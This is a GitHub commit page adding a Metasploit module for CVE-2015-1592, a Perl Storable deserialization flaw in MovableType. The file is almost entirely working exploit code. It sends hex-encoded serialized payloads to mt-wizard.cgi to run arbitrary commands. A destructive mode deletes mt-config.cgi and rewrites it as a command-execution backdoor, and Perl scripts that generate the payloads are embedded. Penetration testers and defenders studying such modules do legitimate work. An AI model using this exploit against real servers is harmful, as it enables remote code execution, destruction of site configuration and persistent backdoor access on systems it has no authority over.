Skip to content

Commit cb51bcc

Browse files
committed
Land rapid7#5147, @lightsey's exploit for CVE-2015-1592 MovableType deserialization
2 parents 36b59d2 + 89bc405 commit cb51bcc

File tree

1 file changed

+261
-0
lines changed

1 file changed

+261
-0
lines changed
Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'SixApart MovableType Storable Perl Code Execution',
16+
'Description' => %q{
17+
This module exploits a serialization flaw in MovableType before 5.2.12 to execute
18+
arbitrary code. The default nondestructive mode depends on the target server having
19+
the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
20+
The destructive mode of operation uses only required MovableType dependencies,
21+
but it will noticeably corrupt the MovableType installation.
22+
},
23+
'Author' =>
24+
[
25+
'John Lightsey',
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'CVE', '2015-1592' ],
31+
[ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
32+
],
33+
'Privileged' => false, # web server context
34+
'Payload' =>
35+
{
36+
'DisableNops' => true,
37+
'BadChars' => ' ',
38+
'Space' => 1024,
39+
},
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd'
43+
},
44+
'Platform' => ['unix'],
45+
'Arch' => ARCH_CMD,
46+
'Targets' => [['Automatic', {}]],
47+
'DisclosureDate' => 'Feb 11 2015',
48+
'DefaultTarget' => 0))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
53+
OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
54+
], self.class
55+
)
56+
57+
end
58+
59+
=begin
60+
61+
#!/usr/bin/perl
62+
63+
# generate config parameters for injection checks
64+
65+
use Storable;
66+
67+
{
68+
69+
package XXXCHECKXXX;
70+
71+
sub STORABLE_thaw {
72+
return 1;
73+
}
74+
75+
sub STORABLE_freeze {
76+
return 1;
77+
}
78+
79+
}
80+
81+
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
82+
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
83+
$frozen = unpack 'H*', $frozen;
84+
print "LFI test for storable flaw is: $frozen\n";
85+
86+
{
87+
package DateTime;
88+
use overload '+' => sub { 'ignored' };
89+
}
90+
91+
=end
92+
93+
def check
94+
vprint_status("#{peer} - Sending storable test injection for XXXCHECKXXX.pm load failure")
95+
res = send_request_cgi({
96+
'method' => 'GET',
97+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
98+
'vars_get' => {
99+
'__mode' => 'retry',
100+
'step' => 'configure',
101+
'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
102+
}
103+
})
104+
105+
unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
106+
vprint_status("#{peer} - Failed XXXCHECKXXX.pm load test");
107+
return Exploit::CheckCode::Safe
108+
end
109+
Exploit::CheckCode::Vulnerable
110+
end
111+
112+
def exploit
113+
if datastore['DESTRUCTIVE'] == true
114+
exploit_destructive
115+
else
116+
exploit_nondestructive
117+
end
118+
end
119+
120+
=begin
121+
122+
#!/usr/bin/perl
123+
124+
# Generate nondestructive config parameter for RCE via Object::MultiType
125+
# and Try::Tiny. The generated value requires minor modification to insert
126+
# the payload inside the system() call and resize the padding.
127+
128+
use Storable;
129+
130+
{
131+
package Object::MultiType;
132+
use overload '+' => sub { 'ingored' };
133+
}
134+
135+
{
136+
package Object::MultiType::Saver;
137+
}
138+
139+
{
140+
package DateTime;
141+
use overload '+' => sub { 'ingored' };
142+
}
143+
144+
{
145+
package Try::Tiny::ScopeGuard;
146+
}
147+
148+
my $try_tiny_loader = bless {}, 'DateTime';
149+
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
150+
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
151+
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
152+
153+
my $data = [$try_tiny_loader, $try_tiny_executor];
154+
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
155+
$frozen = unpack 'H*', $frozen;
156+
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
157+
158+
=end
159+
160+
def exploit_nondestructive
161+
print_status("#{peer} - Using nondestructive attack method")
162+
config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
163+
config_payload << payload.encoded.unpack('H*')[0]
164+
config_payload << "7d293b"
165+
config_payload << "23" * (1025 - payload.encoded.length)
166+
config_payload << "0a657869743b"
167+
168+
print_status("#{peer} - Sending payload (#{payload.raw.length} bytes)")
169+
170+
send_request_cgi({
171+
'method' => 'GET',
172+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
173+
'vars_get' => {
174+
'__mode' => 'retry',
175+
'step' => 'configure',
176+
'config' => config_payload
177+
}
178+
}, 5)
179+
end
180+
181+
=begin
182+
183+
#!/usr/bin/perl
184+
185+
# Generate destructive config parameter to unlink mt-config.cgi
186+
187+
use Storable;
188+
189+
{
190+
package CGITempFile;
191+
}
192+
193+
my $unlink_target = "mt-config.cgi";
194+
my $cgitempfile = bless \$unlink_target, "CGITempFile";
195+
196+
my $data = [$cgitempfile];
197+
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
198+
$frozen = unpack 'H*', $frozen;
199+
print "RCE unlink payload requiring CGI: $frozen\n";
200+
201+
=end
202+
203+
def exploit_destructive
204+
print_status("#{peer} - Using destructive attack method")
205+
# First we need to delete mt-config.cgi using the storable injection
206+
207+
print_status("#{peer} - Sending storable injection to unlink mt-config.cgi")
208+
209+
res = send_request_cgi({
210+
'method' => 'GET',
211+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
212+
'vars_get' => {
213+
'__mode' => 'retry',
214+
'step' => 'configure',
215+
'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
216+
}
217+
})
218+
219+
if res && res.code == 200
220+
print_status("Successfully sent unlink request")
221+
else
222+
fail_with(Failure::Unknown, "Error sending unlink request")
223+
end
224+
225+
# Now we rewrite mt-config.cgi to accept a payload
226+
227+
print_status("#{peer} - Rewriting mt-config.cgi to accept the payload")
228+
229+
res = send_request_cgi({
230+
'method' => 'GET',
231+
'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
232+
'vars_get' => {
233+
'__mode' => 'next_step',
234+
'step' => 'optional',
235+
'default_language' => 'en_us',
236+
'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
237+
'set_static_uri_to' => '/',
238+
'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
239+
}
240+
})
241+
242+
if res && res.code == 200
243+
print_status("Successfully sent mt-config rewrite request")
244+
else
245+
fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
246+
end
247+
248+
# Finally send the payload
249+
250+
print_status("#{peer} - Sending payload request")
251+
252+
send_request_cgi({
253+
'method' => 'GET',
254+
'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
255+
'vars_get' => {
256+
'xyzzy' => payload.encoded,
257+
}
258+
}, 5)
259+
end
260+
261+
end

0 commit comments

Comments
 (0)